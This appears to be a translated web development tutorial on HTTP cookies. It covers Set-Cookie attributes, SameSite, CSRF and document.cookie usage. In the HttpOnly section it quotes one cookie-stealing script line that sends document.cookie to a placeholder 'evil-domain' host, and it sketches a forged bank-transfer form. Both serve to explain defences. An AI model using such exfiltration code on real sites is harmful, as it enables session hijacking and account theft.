Cookie

Overview

A cookie is a small piece of text information that the server saves in the browser, and the general size cannot exceed 4KB. Each time the browser sends a request to the server, it will automatically attach this piece of information.

Cookies mainly store status information. The following are some of the main purposes.

-Dialog (session) management: save the information that needs to be recorded such as login and shopping cart. -Personalized information: save the user's preferences, such as the font size and background color of the webpage. -Track users: record and analyze user behavior.

Cookies are not an ideal client storage mechanism. It has a small capacity (4KB), lacks a data operation interface, and affects performance. Client storage should use Web storage API and IndexedDB. Only the information that needs to be known to the server for each request should be placed in the cookie.

Each cookie has the following metadata.

-Cookie name -Cookie value (the real data is written here) -Expiration time (exceeding this time will expire) -Domain name (default is the current domain name) -Effective path (default is current URL)

For example, if the user visits the URL www.example.com, the server writes a cookie in the browser. The domain name of this cookie is www.example.com, and the effective path is the root path /. If the effective path of the cookie is set to /forums, then this cookie is only effective when visiting www.example.com/forums and its sub-paths. In the future, before the browser visits a certain path, it will find out the cookies that are valid for the domain name and path and have not expired, and send them to the server together.

The user can set the browser not to accept cookies, or set not to send cookies to the server. The window.navigator.cookieEnabled property returns a boolean value, indicating whether the browser enables the cookie function.

window.navigator.cookieEnabled; // true

The document.cookie property returns the cookie of the current web page.

document.cookie; // "id=foo;key=bar"

Different browsers have different restrictions on the number and size of cookies. Generally speaking, the number of cookies set by a single domain name should not exceed 30, and the size of each cookie cannot exceed 4KB. After the limit is exceeded, the cookie will be ignored and will not be set.

The browser’s same-origin policy stipulates that as long as the two URLs have the same domain name, cookies can be shared (see the "Same-origin Policy" chapter). Note that the agreement is not required to be the same here. In other words, the cookies set by http://example.com can be read by https://example.com.

Cookies and HTTP protocol

Cookies are generated by the HTTP protocol and are mainly used by the HTTP protocol.

If the server wants to save cookies in the browser, it must place a Set-Cookie field in the header information of the HTTP response.

Set-Cookie:foo=bar

The above code will save a cookie named foo in the browser, and its value is bar.

The HTTP response can contain multiple Set-Cookie fields, that is, multiple cookies are generated in the browser. Below is an example.

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

In addition to the cookie value, the Set-Cookie field can also be appended with cookie attributes.

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

The meaning of the above attributes will be explained later.

In a Set-Cookie field, multiple attributes can be included at the same time, and there is no order requirement.

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

Below is an example.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

If the server wants to change a cookie set earlier, four conditions must be met at the same time: the cookie's key, domain, path and secure all match. For example, if the original cookie is set with the following Set-Cookie.

Set-Cookie: key1=value1; domain=example.com; path=/blog

To change the value of the above Cookie, you must use the same Set-Cookie.

Set-Cookie: key1=value2; domain=example.com; path=/blog

As long as there is a different attribute, a brand new cookie will be generated instead of replacing the original cookie.

Set-Cookie: key1=value2; domain=example.com; path=/

The above command sets a brand new cookie with the same name, but the path attribute is different. The next time you visit example.com/blog, the browser will send two cookies with the same name to the server.

Cookie: key1=value1; key1=value2

The two cookies in the above code have the same name, and the cookie with the more precise match will be ranked first.

HTTP request: sending of cookies

When the browser sends an HTTP request to the server, each request will carry the corresponding cookie. In other words, the information that the server saved in the browser earlier is sent back to the server. At this time, the Cookie field of the HTTP header information is used.

Cookie: foo=bar

The above code will send a cookie named foo to the server with a value of bar.

The Cookie field can contain multiple cookies, separated by semicolons (;).

Cookie: name=value; name2=value2; name3=value3

Below is an example.

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

When the server receives the cookie from the browser, it cannot know two things.

-Various properties of the cookie, such as when it expires. -Which domain name sets the cookie, whether it is set by the first-level domain name or a certain second-level domain name.

Expires, Max-Age

The Expires attribute specifies a specific expiration time. After the specified time, the browser no longer retains this cookie. Its value is in UTC format, you can use Date.prototype.toUTCString() for format conversion.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

If this attribute is not set or set to null, the cookie is only valid in the current session (session). Once the browser window is closed and the current session ends, the cookie will be deleted. In addition, the browser determines whether the cookie expires according to the local time. Because the local time is inaccurate, there is no way to guarantee that the cookie will expire at the time specified by the server.

The Max-Age attribute specifies the number of seconds the cookie will exist from now on, such as 60 * 60 * 24 * 365 (ie one year). After this time, the browser no longer retains this cookie.

If both Expires and Max-Age are specified at the same time, the value of Max-Age will take precedence.

If the Set-Cookie field does not specify the Expires or Max-Age attributes, then this cookie is a Session Cookie, that is, it only exists in this conversation. Once the user closes the browser, the browser will not retain this Cookies.

Domain, Path

The Domain attribute specifies which domain names should be attached to this cookie when the browser makes an HTTP request. If this attribute is not specified, the browser will set it as the current domain name by default, and the subdomain name will not be accompanied by this cookie. For example, if example.com does not set the cookie's domain attribute, then sub.example.com will not attach this cookie. If the domain attribute is specified, this cookie will also be attached to the subdomain. If the domain name specified by the server does not belong to the current domain name, the browser will reject the cookie.

The Path attribute specifies which path should be attached to this cookie when the browser sends an HTTP request. As long as the browser finds that the Path attribute is the beginning part of the HTTP request path, it will include this cookie in the header. For example, if the PATH attribute is /, then the request /docs path will also include the cookie. Of course, the premise is that the domain names must be consistent.

Secure, HttpOnly

The Secure attribute specifies that the browser can only send this cookie to the server under the encryption protocol HTTPS. On the other hand, if the current protocol is HTTP, the browser will automatically ignore the Secure attribute sent by the server. This attribute is just a switch and does not need to specify a value. If the communication is HTTPS protocol, the switch is automatically turned on.

The HttpOnly attribute specifies that the cookie cannot be obtained through JavaScript scripts, mainly because the document.cookie attribute, the XMLHttpRequest object and the Request API cannot get this attribute. This prevents the cookie from being read by the script, and the cookie will only be carried when the browser sends an HTTP request.

new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

The above is the code of a malicious script loaded across sites, which can send the cookie of the current webpage to a third-party server. If the HttpOnly property of a Cookie is set, the above code will not read the Cookie.

SameSite

Starting with Chrome 51, a new SameSite attribute has been added to the browser's Cookie to prevent CSRF attacks and user tracking.

Cookies are often used to store user identity information. Malicious websites can try to forge HTTP requests with correct cookies. This is a CSRF attack. For example, the user logs on to the bank website your-bank.com, and the bank server sends a cookie.

Set-Cookie:id=a3fWa;

The user later visited the malicious website malicious.com with a form on it.

<form action="your-bank.com/transfer" method="POST">...</form>

Once the user is tricked into sending this form, the bank website will receive a request with the correct cookie. In order to prevent this kind of attack, the form usually has a random token to tell the server that this is a real request.

<form action="your-bank.com/transfer" method="POST">
  <input type="hidden" name="token" value="dad3weg34" />
  ...
</form>

Such cookies issued by third-party websites are called third-party cookies. In addition to being used for CSRF attacks, it can also be used for user tracking. For example, Facebook inserted an invisible picture on a third-party website.

<img src="facebook.com" style="visibility:hidden;" />

When the browser loads the above code, it will send a request with a cookie to Facebook, so that Facebook will know who you are and what website you have visited.

The SameSite attribute of cookies is used to restrict third-party cookies, thereby reducing security risks. It can set three values.

-Strict -Lax -None

(1) Strict

Strict is the most strict, completely prohibiting third-party cookies, and will not send cookies under any circumstances when cross-site. In other words, only if the URL of the current web page is consistent with the request target, the cookie will be carried.

Set-Cookie: CookieName=CookieValue; SameSite=Strict;

This rule is too strict and may cause a very bad user experience. For example, if the current webpage has a GitHub link, users will not have GitHub cookies when they click to jump, and they will always be unlogged in the past.

(2) Lax

The Lax rules are slightly relaxed, and third-party cookies are not sent in most cases, except for Get requests that navigate to the target URL.

Set-Cookie: CookieName=CookieValue; SameSite=Lax;

The GET request that navigates to the target URL includes only three cases: link, preload request, and GET form. See the table below for details.

Request TypeExampleNormal SituationLax
Link<a href="..."></a>Send CookieSend Cookie
Preload<link rel="prerender" href="..."/>Send CookieSend Cookie
GET form<form method="GET" action="...">Send CookieSend Cookie
POST form<form method="POST" action="...">Send CookieDo not send
iframe<iframe src="..."></iframe>Send CookieDon’t Send
AJAX$.get("...")Send CookieDon't Send
Image<img src="...">Send CookieDon't Send

After setting Strict or Lax, CSRF attacks are basically eliminated. Of course, the premise is that the user's browser supports the SameSite attribute.

(3) None

Chrome plans to change Lax to the default setting. At this time, the website can choose to explicitly close the SameSite property and set it to None. However, the premise is that the Secure property must be set at the same time (Cookies can only be sent through the HTTPS protocol), otherwise it will be invalid.

The following settings are invalid.

Set-Cookie: widget_session=abc123; SameSite=None

The following settings are valid.

Set-Cookie: widget_session=abc123; SameSite=None; Secure

The document.cookie attribute is used to read and write cookies of the current web page.

When reading, it will return all cookies of the current webpage, provided that the cookie cannot have the HTTPOnly attribute.

document.cookie; // "foo=bar;baz=bar"

The above code reads two cookies from document.cookie at once, separated by a semicolon. You must manually restore to retrieve the value of each cookie.

var cookies = document.cookie.split(";");

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar

The document.cookie attribute is writable, you can use it to add cookies to the current website.

document.cookie = "fontSize=14";

When writing, the value of Cookie must be written in the form of key=value. Note that there can be no spaces on either side of the equal sign. In addition, when writing cookies, semicolons, commas and spaces must be escaped (none of them are allowed to be used as cookie values). This can be achieved with the encodeURIComponent method.

However, document.cookie can only write one cookie at a time, and writing is not overwriting, but adding.

document.cookie = "test1=hello";
document.cookie = "test2=world";
document.cookie;
// test1=hello;test2=world

The difference in the read and write behavior of document.cookie (all cookies can be read at a time, but only one cookie can be written) is related to the cookie communication format of the HTTP protocol. When the browser sends cookies to the server, the Cookie field uses one line to send all cookies; when the server sets cookies to the browser, the Set-Cookie field sets one cookie in one line.

When writing a cookie, you can write the attributes of the cookie together.

document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";

In the above code, when the cookie is written, the expires property is set at the same time. There must be no spaces on both sides of the equal sign of the attribute value.

Notes on writing each attribute are as follows.

-The path attribute must be an absolute path, and the default is the current path. -The value of the domain attribute must be part of the domain name currently sending the cookie. For example, if the current domain name is example.com, it cannot be set to foo.com. This attribute defaults to the current first-level domain name (excluding the second-level domain name). -The value of the max-age attribute is the number of seconds. -The value of the expires property is in UTC format. You can use Date.prototype.toUTCString() to convert the date format.

The example of document.cookie writing cookie is as follows.

document.cookie =
  "fontSize=14; " +
  "expires=" +
  someDate.toGMTString() +
  "; " +
  "path=/subdirectory; " +
  "domain=*.example.com";

Once the cookie properties are set, there is no way to read the values ​​of these properties.

The only way to delete an existing cookie is to set its expires property to a date in the past.

document.cookie = "fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT";

In the above code, the value of the cookie named fontSize is empty, and the expiration time is set to January 1st, 1970 at midnight, which is equivalent to deleting the cookie.